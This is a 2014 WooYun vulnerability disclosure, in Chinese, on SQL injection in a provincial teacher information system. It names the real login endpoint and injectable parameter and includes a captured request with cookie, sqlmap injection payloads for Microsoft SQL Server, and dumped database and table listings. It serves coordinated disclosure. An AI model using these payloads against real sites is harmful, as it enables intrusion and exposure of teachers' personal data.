当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055402

漏洞标题:某省教师信息管理系统SQL注入

相关厂商:某省教师网

漏洞作者: m_vptr

提交时间:2014-04-03 14:17

修复时间:2014-05-18 14:18

公开时间:2014-05-18 14:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-03: 细节已通知厂商并且等待厂商处理中
2014-04-08: 厂商已经确认,细节仅向厂商公开
2014-04-18: 细节向核心白帽子及相关领域专家公开
2014-04-28: 细节向普通白帽子公开
2014-05-08: 细节向实习白帽子公开
2014-05-18: 细节向公众公开

简要描述:

SQL注入

详细说明:

http://www.jxteacher.com/admin/index.aspx 登录是一个ajax get请求http://www.jxteacher.com/Ajax/login.aspx?username=360121026019110153&userpwd=1&resultType=json,
url参数username可被注入

漏洞证明:

抓包

GET /Ajax/login.aspx?username=360121026019110153&userpwd=1&resultType=json HTTP/1.1
Host: www.jxteacher.com
Proxy-Connection: keep-alive
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36
Referer: http://www.jxteacher.com/Login.aspx?ReturnUrl=%2fadmin%2fadmin_index.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4
Cookie: ASP.NET_SessionId=novdyumhscp0t3ekb1wxls0i; UrlRef=http://www.jxteacher.com/admin/index.aspx

扫描报告

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: username
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=360121026019110153' AND 7978=7978 AND 'ZdHb'='ZdHb&userpwd=1&resultType=json
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: username=360121026019110153' AND 6923=CONVERT(INT,(SELECT CHAR(113)+CHAR(110)+CHAR(97)+CHAR(121)+CHAR(113)+(SELECT (CASE WHEN (6923=6923) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(104)+CHAR(112)+CHAR(116)+CHAR(113))) AND 'SRyP'='SRyP&userpwd=1&resultType=json
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: username=360121026019110153'; WAITFOR DELAY '0:0:5'--&userpwd=1&resultType=json
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: username=360121026019110153' WAITFOR DELAY '0:0:5'--&userpwd=1&resultType=json
---
[12:58:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008

列库

available databases [5]:
[*] jxteacher2012
[*] master
[*] model
[*] msdb
[*] tempdb

列表

web server operating system: Windows 2008
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
Database: jxteacher2012
+------------------------------------------------------+---------+
| Table | Entries |
+------------------------------------------------------+---------+
| dbo.Cms_Contents | 3700939 |
| dbo.vw_Cms_Columns_Contents | 3700939 |
| dbo.vw_CmsContentColumns | 3700939 |
| dbo.vw_SiteColumnUserContents | 3700938 |
| dbo.vw_CmsContentOneTwo | 3691856 |
| dbo.vw_cms_sites_columns_contents | 3691827 |
| dbo.vw_CmsContentColumnTexts | 3689861 |
| dbo.vw_CmsContentOneTwoText | 3689860 |
| dbo.dnt_posts1 | 2646014 |
| dbo.Blog_Topics | 2056632 |
| dbo.vw_Blog_TopicList | 2055570 |
| dbo.vw_Blog_TopicOne | 2055570 |
| dbo.vw_BlogContentColumns | 2055570 |
| dbo.vw_Topics | 2055570 |
| dbo.Site_Logs | 1871634 |
| dbo.vw_ContentIdSiteIdNoEquals | 1230633 |
| dbo.dnt_topics | 808772 |
| dbo.vw_BlogUserTags | 789791 |
| dbo.Blog_Users_Tags | 789691 |
| dbo.Cms_Comments | 618044 |
| dbo.vw_ContentComments | 617564 |
| dbo.vw_aspnet_MembershipUsers | 503758 |
| dbo.aspnet_UsersInRoles | 500279 |
| dbo.vw_aspnet_UsersInRoles | 500279 |
| dbo.aspnet_Users | 463782 |
| 略。。。
| dbo.vw_Course_CurrTeamUserInfo_Users | 1 |
| dbo.vw_Course_CurrTemasUser_UserInfo | 1 |
| dbo.vw_Replys_Comment_Reply_UserInfo | 1 |
| dbo.vw_Replys_QueGetScore | 1 |
+------------------------------------------------------+---------+

修复方案:

你懂的

版权声明:转载请注明来源 m_vptr@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-04-08 08:36

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江西分中心处置,涉及用户信息泄露风险,rank 14

最新状态:

暂无


漏洞评价:

评论